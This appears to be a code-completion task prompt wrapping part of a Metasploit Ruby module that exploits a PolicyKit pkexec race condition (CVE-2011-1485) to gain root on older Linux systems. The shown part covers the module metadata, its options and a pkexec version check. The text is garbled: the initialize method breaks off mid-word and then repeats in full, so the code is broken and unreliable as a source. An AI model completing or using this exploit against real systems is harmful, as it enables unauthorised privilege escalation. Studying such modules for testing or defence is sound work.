You are an expert in writing code in many different languages. Your goal is to perform code completion for the following code, keeping in mind the rest of the code and the file meta data.
    Metadata details:
    filename: pkexec.rb
    path of file: ./repos/metasploit-framework/modules/exploits/linux/local
    
    the code of the file until where you have to start completion: ##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

#
# Project
#


class MetasploitModule < Msf::Exploit::Local
  Rank = GreatRanking

  include Msf::Exploit::EXE
  include Msf::Post::File

  include Msf::Exploit::Local::Linux

  def initialize(info = {})
    super(update_info(info,
      'Name'          => 'Linux PolicyKit Race Condition Privilege Escalation',
      'Description'   => %q(
        A race condition flaw was found in the PolicyKit pkexec utility and polkitd
        daemon. A local user could use this flaw to appear as a privileged user to
        pkexec, allowing them to execute arbitrary commands as root by running
        those commands with pkexec.

        Those vulnerable include RHEL6 prior to polkit-0.96-2.el6_0.1 and Ubuntu
        libpolkit-backend-1 prior to 0.96-2ubuntu1.1 (10.10) 0.96-2ubuntu0.1
        (10.04 LTS) and 0.94-1ubuntu1.1 (9.10)
      ),
      'License'       => MSF_LICENSE,
      'Author'        =>
      [
        'xi4oyu',                           # exploit
        '0a29406d9794e4f9b30b3c5d6702c708'  # metasploit module
      ],
      'Platform'       => [ 'linux'],
      'Arch'           => [ ARCH_X86, ARCH_X64 ],
      'SessionTypes'   => [ 'shell', 'meterpreter' ],
      'Targets'       =>
      [
        [ 'Linux x86',       { 'Arch' => ARCH_X86 } ],
        [ 'Linux x64',       { 'Arch' => ARCH_X64 } ]
      ],
      'DefaultTarget' => 0,
      'References'    =>
      [
        [ 'CVE', '2011-1485' ],
        [ 'EDB', '17942' ],
        [ 'OSVDB', '72261' ]
      ],
      'DisclosureDate' => '2011-04-01'
    ))
    re
    
  def initialize(info = {})
    super(update_info(info,
      'Name'          => 'Linux PolicyKit Race Condition Privilege Escalation',
      'Description'   => %q(
        A race condition flaw was found in the PolicyKit pkexec utility and polkitd
        daemon. A local user could use this flaw to appear as a privileged user to
        pkexec, allowing them to execute arbitrary commands as root by running
        those commands with pkexec.

        Those vulnerable include RHEL6 prior to polkit-0.96-2.el6_0.1 and Ubuntu
        libpolkit-backend-1 prior to 0.96-2ubuntu1.1 (10.10) 0.96-2ubuntu0.1
        (10.04 LTS) and 0.94-1ubuntu1.1 (9.10)
      ),
      'License'       => MSF_LICENSE,
      'Author'        =>
      [
        'xi4oyu',                           # exploit
        '0a29406d9794e4f9b30b3c5d6702c708'  # metasploit module
      ],
      'Platform'       => [ 'linux'],
      'Arch'           => [ ARCH_X86, ARCH_X64 ],
      'SessionTypes'   => [ 'shell', 'meterpreter' ],
      'Targets'       =>
      [
        [ 'Linux x86',       { 'Arch' => ARCH_X86 } ],
        [ 'Linux x64',       { 'Arch' => ARCH_X64 } ]
      ],
      'DefaultTarget' => 0,
      'References'    =>
      [
        [ 'CVE', '2011-1485' ],
        [ 'EDB', '17942' ],
        [ 'OSVDB', '72261' ]
      ],
      'DisclosureDate' => '2011-04-01'
    ))
    register_options([
      OptInt.new("Count", [true, "Number of attempts to win the race condition", 500 ]),
      OptInt.new("ListenerTimeout", [true, "Number of seconds to wait for the exploit", 60]),
      OptBool.new("DEBUG_EXPLOIT", [ true, "Make the exploit executable be verbose about what it's doing", false ])
    ])
    register_advanced_options [
      OptString.new("WritableDir", [ true, "A directory where we can write files (must not be mounted noexec)", "/tmp" ])
    ]
  end

  def executable_path
    @executable_path ||= datastore["WritableDir"] + "/" + rand_text_alphanumeric(8)
    @executable_path
  end

  def check
    # version can be nil
    version = cmd_exec('pkexec --version').split.last

    # version can be a string, so we check it
    if version.nil? || !Rex::Version.correct?(version)
      vprint_error('pkexec not found or version incorrect')
      return CheckCode::Unknown
    end

    if Rex::Version.new(version) <= Rex::Version.new('0.101')
      vprint_good("pkexec #{version} found")
      return CheckCode::Appears
    end